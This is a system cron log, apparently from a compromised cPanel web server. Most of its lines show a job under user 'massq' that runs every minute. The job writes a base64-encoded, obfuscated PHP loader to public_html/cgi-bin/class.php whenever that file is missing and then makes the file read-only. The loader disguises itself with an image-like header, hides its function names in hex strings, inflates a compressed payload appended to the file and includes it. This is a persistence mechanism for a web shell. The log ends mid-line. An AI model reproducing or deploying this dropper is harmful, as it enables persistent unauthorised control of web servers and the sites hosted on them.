Apr 12 09:52:01 server CROND[17935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:53:01 server CROND[18087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:54:01 server CROND[18153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:55:01 server CROND[18214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:55:01 server CROND[18215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:55:01 server CROND[18216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:56:01 server CROND[18326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:57:01 server CROND[18396]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 09:57:01 server CROND[18397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:58:01 server CROND[18459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:59:01 server CROND[18610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:00:01 server CROND[18673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 10:00:01 server CROND[18676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:00:01 server CROND[18678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:00:01 server CROND[18677]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 10:00:01 server CROND[18679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:01:01 server CROND[18796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:01:01 server CROND[18797]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 10:01:01 server run-parts(/etc/cron.hourly)[18797]: starting 0anacron
Apr 12 10:01:01 server run-parts(/etc/cron.hourly)[18809]: finished 0anacron
Apr 12 10:02:01 server CROND[18864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:03:01 server CROND[18912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:04:01 server CROND[19057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:05:01 server CROND[19117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:05:01 server CROND[19118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyL